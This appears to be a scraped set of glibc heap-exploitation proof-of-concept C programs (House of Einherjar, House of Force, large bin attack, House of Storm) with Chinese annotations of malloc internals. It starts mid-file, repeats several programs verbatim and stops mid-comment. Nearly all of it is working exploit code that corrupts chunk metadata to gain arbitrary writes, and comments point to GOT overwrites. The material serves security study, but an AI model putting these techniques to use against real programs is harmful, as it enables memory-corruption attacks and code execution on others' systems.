"b where it will try to consolidate the next chunk\n"
);
// Write a fake prev_size to the end of a
printf
(
"\nWe write a fake prev_size to the last %lu bytes of a so that "
"it will consolidate with our fake chunk\n"
,
sizeof
(
size_t
));
size_t
fake_size = (
size_t
)((b-
sizeof
(
size_t
)*2) - (uint8_t*)fake_chunk);
printf
(
"Our fake prev_size will be %p - %p = %#lx\n"
, b-
sizeof
(
size_t
)*2, fake_chunk, fake_size);
*(
size_t
*)&a[real_a_size-
sizeof
(
size_t
)] = fake_size;
//Change the fake chunk's size to reflect b's new prev_size
printf
(
"\nModify fake chunk's size to reflect b's new prev_size\n"
);
fake_chunk[1] = fake_size;
// free b and it will consolidate with our fake chunk
printf
(
"Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\n"
);
free
(b);
printf
(
"Our fake chunk size is now %#lx (b.size + fake_prev_size)\n"
, fake_chunk[1]);
//if we allocate another chunk before we free b we will need to
//do two things:
//1) We will need to adjust the size of our fake chunk so that
//fake_chunk + fake_chunk's size points to an area we control
//2) we will need to write the size of our fake chunk
//at the location we control.
//After doing these two things, when unlink gets called, our fake chunk will
//pass the size(P) == prev_size(next_chunk(P)) test.
//otherwise we need to make sure that our fake chunk is up against the
//wilderness
printf
(
"\nNow we can call malloc() and it will begin in our fake chunk\n"
);
d =
malloc
(0x200);
printf
(
"Next malloc(0x200) is at %p\n"
, d);
}
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
/*
Credit to st4g3r for publishing this technique
The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc()
This technique may result in a more powerful primitive than the Poison Null Byte, but it has the additional requirement of a heap leak.
*/
int
main()
{
setbuf
(stdin, NULL);
setbuf
(stdout, NULL);
printf
(
"Welcome to House of Einherjar!\n"
);
printf
(
"Tested in Ubuntu 16.04 64bit.\n"
);
printf
(
"This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n"
);
uint8_t* a;
uint8_t* b;
uint8_t* d;
printf
(
"\nWe allocate 0x38 bytes for 'a'\n"
);
a = (uint8_t*)
malloc
(0x38);
printf
(
"a: %p\n"
, a);
int
real_a_size = malloc_usable_size(a);
printf
(
"Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: %#x\n"
, real_a_size);
// create a fake chunk
printf
(
"\nWe create a fake chunk wherever we want, in this case we'll create the chunk on the stack\n"
);
printf
(
"However, you can also create the chunk in the heap or the bss, as long as you know its address\n"
);
printf
(
"We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n"
);
printf
(
"(although we could do the unsafe unlink technique here in some scenarios)\n"
);
size_t
fake_chunk[6];
fake_chunk[0] = 0x100;
// prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size
fake_chunk[1] = 0x100;
// size of the chunk just needs to be small enough to stay in the small bin
fake_chunk[2] = (
size_t
) fake_chunk;
// fwd
fake_chunk[3] = (
size_t
) fake_chunk;
// bck
fake_chunk[4] = (
size_t
) fake_chunk;
//fwd_nextsize
fake_chunk[5] = (
size_t
) fake_chunk;
//bck_nextsize
printf
(
"Our fake chunk at %p looks like:\n"
, fake_chunk);
printf
(
"prev_size (not used): %#lx\n"
, fake_chunk[0]);
printf
(
"size: %#lx\n"
, fake_chunk[1]);
printf
(
"fwd: %#lx\n"
, fake_chunk[2]);
printf
(
"bck: %#lx\n"
, fake_chunk[3]);
printf
(
"fwd_nextsize: %#lx\n"
, fake_chunk[4]);
printf
(
"bck_nextsize: %#lx\n"
, fake_chunk[5]);
/* In this case it is easier if the chunk size attribute has a least significant byte with
* a value of 0x00. The least significant byte of this will be 0x00, because the size of
* the chunk includes the amount requested plus some amount required for the metadata. */
b = (uint8_t*)
malloc
(0xf8);
int
real_b_size = malloc_usable_size(b);
printf
(
"\nWe allocate 0xf8 bytes for 'b'.\n"
);
printf
(
"b: %p\n"
, b);
uint64_t* b_size_ptr = (uint64_t*)(b - 8);
/* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/
printf
(
"\nb.size: %#lx\n"
, *b_size_ptr);
printf
(
"b.size is: (0x100) | prev_inuse = 0x101\n"
);
printf
(
"We overflow 'a' with a single null byte into the metadata of 'b'\n"
);
a[real_a_size] = 0;
printf
(
"b.size: %#lx\n"
, *b_size_ptr);
printf
(
"This is easiest if b.size is a multiple of 0x100 so you "
"don't change the size of b, only its prev_inuse bit\n"
);
printf
(
"If it had been modified, we would need a fake chunk inside "
"b where it will try to consolidate the next chunk\n"
);
// Write a fake prev_size to the end of a
printf
(
"\nWe write a fake prev_size to the last %lu bytes of a so that "
"it will consolidate with our fake chunk\n"
,
sizeof
(
size_t
));
size_t
fake_size = (
size_t
)((b-
sizeof
(
size_t
)*2) - (uint8_t*)fake_chunk);
printf
(
"Our fake prev_size will be %p - %p = %#lx\n"
, b-
sizeof
(
size_t
)*2, fake_chunk, fake_size);
*(
size_t
*)&a[real_a_size-
sizeof
(
size_t
)] = fake_size;
//Change the fake chunk's size to reflect b's new prev_size
printf
(
"\nModify fake chunk's size to reflect b's new prev_size\n"
);
fake_chunk[1] = fake_size;
// free b and it will consolidate with our fake chunk
printf
(
"Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\n"
);
free
(b);
printf
(
"Our fake chunk size is now %#lx (b.size + fake_prev_size)\n"
, fake_chunk[1]);
//if we allocate another chunk before we free b we will need to
//do two things:
//1) We will need to adjust the size of our fake chunk so that
//fake_chunk + fake_chunk's size points to an area we control
//2) we will need to write the size of our fake chunk
//at the location we control.
//After doing these two things, when unlink gets called, our fake chunk will
//pass the size(P) == prev_size(next_chunk(P)) test.
//otherwise we need to make sure that our fake chunk is up against the
//wilderness
printf
(
"\nNow we can call malloc() and it will begin in our fake chunk\n"
);
d =
malloc
(0x200);
printf
(
"Next malloc(0x200) is at %p\n"
, d);
}
/*
This PoC works also with ASLR enabled.
It will overwrite a GOT entry so in order to apply exactly this technique RELRO must be disabled.
If RELRO is enabled you can always try to return a chunk on the stack as proposed in Malloc Des Maleficarum
( http://phrack.org/issues/66/10.html )
Tested in Ubuntu 14.04, 64bit, Ubuntu 18.04
*/
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>
char
bss_var[] =
"This is a string that we want to overwrite."
;
int
main(
int
argc ,
char
* argv[])
{
fprintf
(stderr,
"\nWelcome to the House of Force\n\n"
);
fprintf
(stderr,
"The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.\n"
);
fprintf
(stderr,
"The top chunk is a special chunk. Is the last in memory "
"and is the chunk that will be resized when malloc asks for more space from the os.\n"
);
fprintf
(stderr,
"\nIn the end, we will use this to overwrite a variable at %p.\n"
, bss_var);
fprintf
(stderr,
"Its current value is: %s\n"
, bss_var);
fprintf
(stderr,
"\nLet's allocate the first chunk, taking space from the wilderness.\n"
);
intptr_t
*p1 =
malloc
(256);
fprintf
(stderr,
"The chunk of 256 bytes has been allocated at %p.\n"
, p1 - 2);
fprintf
(stderr,
"\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\n"
);
int
real_size = malloc_usable_size(p1);
fprintf
(stderr,
"Real size (aligned and all that jazz) of our allocated chunk is %ld.\n"
, real_size +
sizeof
(
long
)*2);
fprintf
(stderr,
"\nNow let's emulate a vulnerability that can overwrite the header of the Top Chunk\n"
);
//----- VULNERABILITY ----
intptr_t
*ptr_top = (
intptr_t
*) ((
char
*)p1 + real_size -
sizeof
(
long
));
fprintf
(stderr,
"\nThe top chunk starts at %p\n"
, ptr_top);
fprintf
(stderr,
"\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\n"
);
fprintf
(stderr,
"Old size of top chunk %#llx\n"
, *((unsigned
long
long
int
*)((
char
*)ptr_top +
sizeof
(
long
))));
*(
intptr_t
*)((
char
*)ptr_top +
sizeof
(
long
)) = -1;
fprintf
(stderr,
"New size of top chunk %#llx\n"
, *((unsigned
long
long
int
*)((
char
*)ptr_top +
sizeof
(
long
))));
//------------------------
fprintf
(stderr,
"\nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.\n"
"Next, we will allocate a chunk that will get us right up against the desired region (with an integer\n"
"overflow) and will then be able to allocate a chunk right over the desired region.\n"
);
/*
* The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
* new_top = old_top + nb
* nb = new_top - old_top
* req + 2sizeof(long) = new_top - old_top
* req = new_top - old_top - 2sizeof(long)
* req = dest - 2sizeof(long) - old_top - 2sizeof(long)
* req = dest - old_top - 4*sizeof(long)
*/
unsigned
long
evil_size = (unsigned
long
)bss_var -
sizeof
(
long
)*4 - (unsigned
long
)ptr_top;
fprintf
(stderr,
"\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n"
"we will malloc %#lx bytes.\n"
, bss_var, ptr_top, evil_size);
void
*new_ptr =
malloc
(evil_size);
fprintf
(stderr,
"As expected, the new pointer is at the same place as the old top chunk: %p\n"
, new_ptr -
sizeof
(
long
)*2);
void
* ctr_chunk =
malloc
(100);
fprintf
(stderr,
"\nNow, the next chunk we overwrite will point at our target buffer.\n"
);
fprintf
(stderr,
"malloc(100) => %p!\n"
, ctr_chunk);
fprintf
(stderr,
"Now, we can finally overwrite that value:\n"
);
fprintf
(stderr,
"... old string: %s\n"
, bss_var);
fprintf
(stderr,
"... doing strcpy overwrite with \"YEAH!!!\"...\n"
);
strcpy
(ctr_chunk,
"YEAH!!!"
);
fprintf
(stderr,
"... new string: %s\n"
, bss_var);
assert
(ctr_chunk == bss_var);
// some further discussion:
//fprintf(stderr, "This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed\n\n");
//fprintf(stderr, "This because the main_arena->top pointer is setted to current av->top + malloc_size "
// "and we \nwant to set this result to the address of malloc_got_address-8\n\n");
//fprintf(stderr, "In order to do this we have malloc_got_address-8 = p2_guessed + evil_size\n\n");
//fprintf(stderr, "The av->top after this big malloc will be setted in this way to malloc_got_address-8\n\n");
//fprintf(stderr, "After that a new call to malloc will return av->top+8 ( +8 bytes for the header ),"
// "\nand basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address\n\n");
//fprintf(stderr, "The large chunk with evil_size has been allocated here 0x%08x\n",p2);
//fprintf(stderr, "The main_arena value av->top has been setted to malloc_got_address-8=0x%08x\n",malloc_got_address);
//fprintf(stderr, "This last malloc will be served from the remainder code and will return the av->top+8 injected before\n");
}
/*
This PoC works also with ASLR enabled.
It will overwrite a GOT entry so in order to apply exactly this technique RELRO must be disabled.
If RELRO is enabled you can always try to return a chunk on the stack as proposed in Malloc Des Maleficarum
( http://phrack.org/issues/66/10.html )
Tested in Ubuntu 14.04, 64bit, Ubuntu 18.04
*/
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>
char
bss_var[] =
"This is a string that we want to overwrite."
;
int
main(
int
argc ,
char
* argv[])
{
fprintf
(stderr,
"\nWelcome to the House of Force\n\n"
);
fprintf
(stderr,
"The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.\n"
);
fprintf
(stderr,
"The top chunk is a special chunk. Is the last in memory "
"and is the chunk that will be resized when malloc asks for more space from the os.\n"
);
fprintf
(stderr,
"\nIn the end, we will use this to overwrite a variable at %p.\n"
, bss_var);
fprintf
(stderr,
"Its current value is: %s\n"
, bss_var);
fprintf
(stderr,
"\nLet's allocate the first chunk, taking space from the wilderness.\n"
);
intptr_t
*p1 =
malloc
(256);
fprintf
(stderr,
"The chunk of 256 bytes has been allocated at %p.\n"
, p1 - 2);
fprintf
(stderr,
"\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\n"
);
int
real_size = malloc_usable_size(p1);
fprintf
(stderr,
"Real size (aligned and all that jazz) of our allocated chunk is %ld.\n"
, real_size +
sizeof
(
long
)*2);
fprintf
(stderr,
"\nNow let's emulate a vulnerability that can overwrite the header of the Top Chunk\n"
);
//----- VULNERABILITY ----
intptr_t
*ptr_top = (
intptr_t
*) ((
char
*)p1 + real_size -
sizeof
(
long
));
fprintf
(stderr,
"\nThe top chunk starts at %p\n"
, ptr_top);
fprintf
(stderr,
"\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\n"
);
fprintf
(stderr,
"Old size of top chunk %#llx\n"
, *((unsigned
long
long
int
*)((
char
*)ptr_top +
sizeof
(
long
))));
*(
intptr_t
*)((
char
*)ptr_top +
sizeof
(
long
)) = -1;
fprintf
(stderr,
"New size of top chunk %#llx\n"
, *((unsigned
long
long
int
*)((
char
*)ptr_top +
sizeof
(
long
))));
//------------------------
fprintf
(stderr,
"\nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.\n"
"Next, we will allocate a chunk that will get us right up against the desired region (with an integer\n"
"overflow) and will then be able to allocate a chunk right over the desired region.\n"
);
/*
* The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
* new_top = old_top + nb
* nb = new_top - old_top
* req + 2sizeof(long) = new_top - old_top
* req = new_top - old_top - 2sizeof(long)
* req = dest - 2sizeof(long) - old_top - 2sizeof(long)
* req = dest - old_top - 4*sizeof(long)
*/
unsigned
long
evil_size = (unsigned
long
)bss_var -
sizeof
(
long
)*4 - (unsigned
long
)ptr_top;
fprintf
(stderr,
"\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n"
"we will malloc %#lx bytes.\n"
, bss_var, ptr_top, evil_size);
void
*new_ptr =
malloc
(evil_size);
fprintf
(stderr,
"As expected, the new pointer is at the same place as the old top chunk: %p\n"
, new_ptr -
sizeof
(
long
)*2);
void
* ctr_chunk =
malloc
(100);
fprintf
(stderr,
"\nNow, the next chunk we overwrite will point at our target buffer.\n"
);
fprintf
(stderr,
"malloc(100) => %p!\n"
, ctr_chunk);
fprintf
(stderr,
"Now, we can finally overwrite that value:\n"
);
fprintf
(stderr,
"... old string: %s\n"
, bss_var);
fprintf
(stderr,
"... doing strcpy overwrite with \"YEAH!!!\"...\n"
);
strcpy
(ctr_chunk,
"YEAH!!!"
);
fprintf
(stderr,
"... new string: %s\n"
, bss_var);
assert
(ctr_chunk == bss_var);
// some further discussion:
//fprintf(stderr, "This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed\n\n");
//fprintf(stderr, "This because the main_arena->top pointer is setted to current av->top + malloc_size "
// "and we \nwant to set this result to the address of malloc_got_address-8\n\n");
//fprintf(stderr, "In order to do this we have malloc_got_address-8 = p2_guessed + evil_size\n\n");
//fprintf(stderr, "The av->top after this big malloc will be setted in this way to malloc_got_address-8\n\n");
//fprintf(stderr, "After that a new call to malloc will return av->top+8 ( +8 bytes for the header ),"
// "\nand basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address\n\n");
//fprintf(stderr, "The large chunk with evil_size has been allocated here 0x%08x\n",p2);
//fprintf(stderr, "The main_arena value av->top has been setted to malloc_got_address-8=0x%08x\n",malloc_got_address);
//fprintf(stderr, "This last malloc will be served from the remainder code and will return the av->top+8 injected before\n");
}
/*
This technique is taken from
https://dangokyo.me/2018/04/07/a-revisit-to-large-bin-in-glibc/
[...]
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
[...]
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
For more details on how large-bins are handled and sorted by ptmalloc,
please check the Background section in the aforementioned link.
[...]
*/
#include<stdio.h>
#include<stdlib.h>
#include<assert.h>
int
main()
{
fprintf
(stderr,
"This file demonstrates large bin attack by writing a large unsigned long value into stack\n"
);
fprintf
(stderr,
"In practice, large bin attack is generally prepared for further attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\n\n"
);
unsigned
long
stack_var1 = 0;
unsigned
long
stack_var2 = 0;
fprintf
(stderr,
"Let's first look at the targets we want to rewrite on stack:\n"
);
fprintf
(stderr,
"stack_var1 (%p): %ld\n"
, &stack_var1, stack_var1);
fprintf
(stderr,
"stack_var2 (%p): %ld\n\n"
, &stack_var2, stack_var2);
unsigned
long
*p1 =
malloc
(0x420);
fprintf
(stderr,
"Now, we allocate the first large chunk on the heap at: %p\n"
, p1 - 2);
fprintf
(stderr,
"And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
" the first large chunk during the free()\n\n"
);
malloc
(0x20);
unsigned
long
*p2 =
malloc
(0x500);
fprintf
(stderr,
"Then, we allocate the second large chunk on the heap at: %p\n"
, p2 - 2);
fprintf
(stderr,
"And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
" the second large chunk during the free()\n\n"
);
malloc
(0x20);
unsigned
long
*p3 =
malloc
(0x500);
fprintf
(stderr,
"Finally, we allocate the third large chunk on the heap at: %p\n"
, p3 - 2);
fprintf
(stderr,
"And allocate another fastbin chunk in order to avoid consolidating the top chunk with"
" the third large chunk during the free()\n\n"
);
malloc
(0x20);
free
(p1);
free
(p2);
fprintf
(stderr,
"We free the first and second large chunks now and they will be inserted in the unsorted bin:"
" [ %p <--> %p ]\n\n"
, (
void
*)(p2 - 2), (
void
*)(p2[0]));
malloc
(0x90);
fprintf
(stderr,
"Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the"
" freed second large chunk into the large bin freelist, use parts of the freed first large chunk for allocation"
", and reinsert the remaining of the freed first large chunk into the unsorted bin:"
" [ %p ]\n\n"
, (
void
*)((
char
*)p1 + 0x90));
free
(p3);
fprintf
(stderr,
"Now, we free the third large chunk and it will be inserted in the unsorted bin:"
" [ %p <--> %p ]\n\n"
, (
void
*)(p3 - 2), (
void
*)(p3[0]));
//------------VULNERABILITY-----------
fprintf
(stderr,
"Now emulating a vulnerability that can overwrite the freed second large chunk's \"size\""
" as well as its \"bk\" and \"bk_nextsize\" pointers\n"
);
fprintf
(stderr,
"Basically, we decrease the size of the freed second large chunk to force malloc to insert the freed third large chunk"
" at the head of the large bin freelist. To overwrite the stack variables, we set \"bk\" to 16 bytes before stack_var1 and"
" \"bk_nextsize\" to 32 bytes before stack_var2\n\n"
);
p2[-1] = 0x3f1;
p2[0] = 0;
p2[2] = 0;
p2[1] = (unsigned
long
)(&stack_var1 - 2);
p2[3] = (unsigned
long
)(&stack_var2 - 4);
//------------------------------------
malloc
(0x90);
fprintf
(stderr,
"Let's malloc again, so the freed third large chunk being inserted into the large bin freelist."
" During this time, targets should have already been rewritten:\n"
);
fprintf
(stderr,
"stack_var1 (%p): %p\n"
, &stack_var1, (
void
*)stack_var1);
fprintf
(stderr,
"stack_var2 (%p): %p\n"
, &stack_var2, (
void
*)stack_var2);
// sanity check
assert
(stack_var1 != 0);
assert
(stack_var2 != 0);
return
0;
}
/*
This technique is taken from
https://dangokyo.me/2018/04/07/a-revisit-to-large-bin-in-glibc/
[...]
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
[...]
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
For more details on how large-bins are handled and sorted by ptmalloc,
please check the Background section in the aforementioned link.
[...]
*/
#include<stdio.h>
#include<stdlib.h>
#include<assert.h>
int
main()
{
fprintf
(stderr,
"This file demonstrates large bin attack by writing a large unsigned long value into stack\n"
);
fprintf
(stderr,
"In practice, large bin attack is generally prepared for further attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\n\n"
);
unsigned
long
stack_var1 = 0;
unsigned
long
stack_var2 = 0;
fprintf
(stderr,
"Let's first look at the targets we want to rewrite on stack:\n"
);
fprintf
(stderr,
"stack_var1 (%p): %ld\n"
, &stack_var1, stack_var1);
fprintf
(stderr,
"stack_var2 (%p): %ld\n\n"
, &stack_var2, stack_var2);
unsigned
long
*p1 =
malloc
(0x420);
fprintf
(stderr,
"Now, we allocate the first large chunk on the heap at: %p\n"
, p1 - 2);
fprintf
(stderr,
"And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
" the first large chunk during the free()\n\n"
);
malloc
(0x20);
unsigned
long
*p2 =
malloc
(0x500);
fprintf
(stderr,
"Then, we allocate the second large chunk on the heap at: %p\n"
, p2 - 2);
fprintf
(stderr,
"And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
" the second large chunk during the free()\n\n"
);
malloc
(0x20);
unsigned
long
*p3 =
malloc
(0x500);
fprintf
(stderr,
"Finally, we allocate the third large chunk on the heap at: %p\n"
, p3 - 2);
fprintf
(stderr,
"And allocate another fastbin chunk in order to avoid consolidating the top chunk with"
" the third large chunk during the free()\n\n"
);
malloc
(0x20);
free
(p1);
free
(p2);
fprintf
(stderr,
"We free the first and second large chunks now and they will be inserted in the unsorted bin:"
" [ %p <--> %p ]\n\n"
, (
void
*)(p2 - 2), (
void
*)(p2[0]));
malloc
(0x90);
fprintf
(stderr,
"Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the"
" freed second large chunk into the large bin freelist, use parts of the freed first large chunk for allocation"
", and reinsert the remaining of the freed first large chunk into the unsorted bin:"
" [ %p ]\n\n"
, (
void
*)((
char
*)p1 + 0x90));
free
(p3);
fprintf
(stderr,
"Now, we free the third large chunk and it will be inserted in the unsorted bin:"
" [ %p <--> %p ]\n\n"
, (
void
*)(p3 - 2), (
void
*)(p3[0]));
//------------VULNERABILITY-----------
fprintf
(stderr,
"Now emulating a vulnerability that can overwrite the freed second large chunk's \"size\""
" as well as its \"bk\" and \"bk_nextsize\" pointers\n"
);
fprintf
(stderr,
"Basically, we decrease the size of the freed second large chunk to force malloc to insert the freed third large chunk"
" at the head of the large bin freelist. To overwrite the stack variables, we set \"bk\" to 16 bytes before stack_var1 and"
" \"bk_nextsize\" to 32 bytes before stack_var2\n\n"
);
p2[-1] = 0x3f1;
p2[0] = 0;
p2[2] = 0;
p2[1] = (unsigned
long
)(&stack_var1 - 2);
p2[3] = (unsigned
long
)(&stack_var2 - 4);
//------------------------------------
malloc
(0x90);
fprintf
(stderr,
"Let's malloc again, so the freed third large chunk being inserted into the large bin freelist."
" During this time, targets should have already been rewritten:\n"
);
fprintf
(stderr,
"stack_var1 (%p): %p\n"
, &stack_var1, (
void
*)stack_var1);
fprintf
(stderr,
"stack_var2 (%p): %p\n"
, &stack_var2, (
void
*)stack_var2);
// sanity check
assert
(stack_var1 != 0);
assert
(stack_var2 != 0);
return
0;
}
/* 源码 */
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
/* “译”码 */
else
{
P3->fd_nextsize = P2;
P3->bk_nextsize = P2->bk_nextsize;
P2->bk_nextsize = P3;
P3->bk_nextsize->fd_nextsize = P3;
}
bck = P2->bk;
/* 源码 */
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
/* “译”码 */
else
{
P3->fd_nextsize = P2;
P3->bk_nextsize = P2->bk_nextsize;
P2->bk_nextsize = P3;
P3->bk_nextsize->fd_nextsize = P3;
}
bck = P2->bk;
/* 源码 */
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
/* “译”码 */
mark_bin(av, victim_index);
P3->bk = p2->bk;
P3->fd = P2;
P2->bk = P3;
bck->fd = P3;
// bck 是原p2->bk(见上一段代码的bck)
/* 源码 */
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
/* “译”码 */
mark_bin(av, victim_index);
P3->bk = p2->bk;
P3->fd = P2;
P2->bk = P3;
bck->fd = P3;
// bck 是原p2->bk(见上一段代码的bck)
/*
POC for House of Storm on 2.23
For 2.26-2.28, the tcache will need to
be full for this to work. After this,
a patch to the unsorted bin attack likely prevents this
technique from working.
This technique uses a combination of editing
the unsorted bin chunk and the large bin chunks
to write a 'size' to a user choosen address in memory.
Once this has occurred, if the size at this 'fake'
location is the same size as the allocation,
then the chunk will be returned back to the user.
This attack allows arbitrary chunks to be returned
to the user!
Written by Maxwell "Strikeout" Dulin
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char
filler[0x10];
char
target[0x60];
void
init(){
setvbuf
(stdout, NULL, _IONBF, 0);
setvbuf
(stdin, NULL, _IONBF, 0);
// clearenv();
}
// Get the AMOUNT to shift over for size and the offset on the largebin.
// Needs to be a valid minimum sized chunk in order to work.
int
get_shift_amount(
char
* pointer){
int
shift_amount = 0;
long
long
ptr = (
long
long
)pointer;
while
(ptr > 0x20){
ptr = ptr >> 8;
shift_amount += 1;
}
return
shift_amount - 1;
// Want amount PRIOR to this being zeroed out
}
int
main(){
init();
char
*unsorted_bin, *large_bin, *fake_chunk, *ptr;
puts
(
"House of Storm"
);
puts
(
"======================================"
);
puts
(
"Preparing chunks for the exploit"
);
puts
(
"Put one chunk into unsorted bin and the other into the large bin"
);
puts
(
"The unsorted bin chunk MUST be larger than the large bin chunk."
);
/*
Putting a chunk into the unsorted bin and another
into the large bin.
*/
unsorted_bin =
malloc
( 0x4e8 );
// size 0x4f0
// prevent merging
malloc
( 0x18 );
puts
(
"Find the proper chunk size to allocate."
);
puts
(
"Must be exactly the size of the written chunk from above."
);
/*
Find the proper size to allocate
We are using the first 'X' bytes of the heap to act
as the 'size' of a chunk. Then, we need to allocate a
chunk exactly this size for the attack to work.
So, in order to do this, we have to take the higher
bits of the heap address and allocate a chunk of this
size, which comes from the upper bytes of the heap address.
NOTE:
- This does have a 1/2 chance of failing. If the 4th bit
of this value is set, then the size comparison will fail.
- Without this calculation, this COULD be brute forced.
*/
int
shift_amount = get_shift_amount(unsorted_bin);
printf
(
"Shift Amount: %d\n"
, shift_amount);
size_t
alloc_size = ((
size_t
)unsorted_bin) >> (8 * shift_amount);
if
(alloc_size < 0x10){
printf
(
"Chunk Size: 0x%lx\n"
, alloc_size);
puts
(
"Chunk size is too small"
);
exit
(1);
}
alloc_size = (alloc_size & 0xFFFFFFFFE) - 0x10;
// Remove the size bits
printf
(
"In this case, the chunk size is 0x%lx\n"
, alloc_size);
// Checks to see if the program will crash or not
/*
The fourth bit of the size and the 'non-main arena' chunk can NOT be set. Otherwise, the chunk. So, we MUST check for this first.
Additionally, the code at https://elixir.bootlin.com/glibc/glibc-2.27/source/malloc/malloc.c#L3438
validates to see if ONE of the following cases is true:
- av == arena_for_chunk (mem2chunk (mem))
- chunk is mmaped
If the 'non-main arena' bit is set on the chunk, then the
first case will fail.
If the mmap bit is set, then this will pass.
So, either the arenas need to match up (our fake chunk is in the
.bss section for this demo. So, clearly, this will not happen) OR
the mmap bit must be set.
The logic below validates that the fourth bit of the size
is NOT set and that either the mmap bit is set or the non-main
arena bit is NOT set. If this is the case, the exploit should work.
*/
if
((alloc_size & 0x8) != 0 || (((alloc_size & 0x4) == 0x4) && ((alloc_size & 0x2) != 0x2))){
puts
(
"Allocation size has bit 4 of the size set or "
);
puts
(
"mmap and non-main arena bit check will fail"
);
puts
(
"Please try again! :)"
);
puts
(
"Exiting..."
);
return
1;
}
large_bin =
malloc
( 0x4d8 );
// size 0x4e0
// prevent merging
malloc
( 0x18 );
// FIFO
free
( large_bin );
// put small chunks first
free
( unsorted_bin );
// Put the 'large bin' chunk into the large bin
unsorted_bin =
malloc
(0x4e8);
free
(unsorted_bin);
/*
At this point, there is a single chunk in the
large bin and a single chunk in the unsorted bin.
It should be noted that the unsorted bin chunk
should be LARGER in size than the large bin chunk
but should still be within the same bin.
In this setup, the large_bin has a chunk
of size 0x4e0 and the unsorted bin
has a chunk of size 0x4f0. This technique relies on
the unsorted bin chunk being added to the same bin
but a larger chunk size. So, careful heap feng shui
must be done.
*/
// The address that we want to write to!
fake_chunk = target - 0x10;
puts
(
"Vulnerability! Overwrite unsorted bins 'bk' pointer with our target location.\n This is our target location to get from the allocator"
);
/*
The address of our fake chunk is set to the unsorted bin
chunks 'bk' pointer.
This launches the 'unsorted_bin' attack but it is NOT the
main purpose of us doing this.
After launching the 'unsorted_bin attack' the 'victim' pointer
will be set to THIS address. Our goal is to find a way to get
this address from the allocator.
Vulnerability!!
*/
((
size_t
*)unsorted_bin)[1] = (
size_t
)fake_chunk;
// unsorted_bin->bk
// Only needs to be a valid address.
((
size_t
*) large_bin )[1] = (
size_t
)fake_chunk + 8 ;
// large_bin->bk
puts
(
"Later on, we will use WRITE-WHERE primitive in the large bin to write a heap pointer to the location"
);
puts
(
"of your fake chunk."
);
puts
(
"Misalign the location in order to use the primitive as a SIZE value."
);
puts
(
"The 'offset' changes depending on if the binary is PIE (5) or not PIE (2)."
);
puts
(
"Vulnerability #2!"
);
puts
(
"Overwrite large bins bk->nextsize with the address to put our fake chunk size at."
);
/*
This can be seen as a WRITE-WHERE primitive in the large bin.
However, we are going to write a 'size' for our fake chunk using this.
So, we set https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L3579
to an address for our fake size. The write above (bk_nextsize) is
controlled via the pointer we are going to overwrite below. The
value that gets written is a heap address; the unsorted bin
chunk address above.
The 'key' to this is the offset. First, we subtract 0x18 because
this is the offset to writting to fd_nextsize in the code shown
above. Secondly, notice the -2 below. We are going
to write a 'heap address' at a mis-aligned location and
use THIS as the size. For instance, if the heap address is 0x123456
and the pointer is set to 0x60006. This will write the following way:
- 0x60006: 0x56
- 0x60007: 0x34
- 0x60008: 0x12
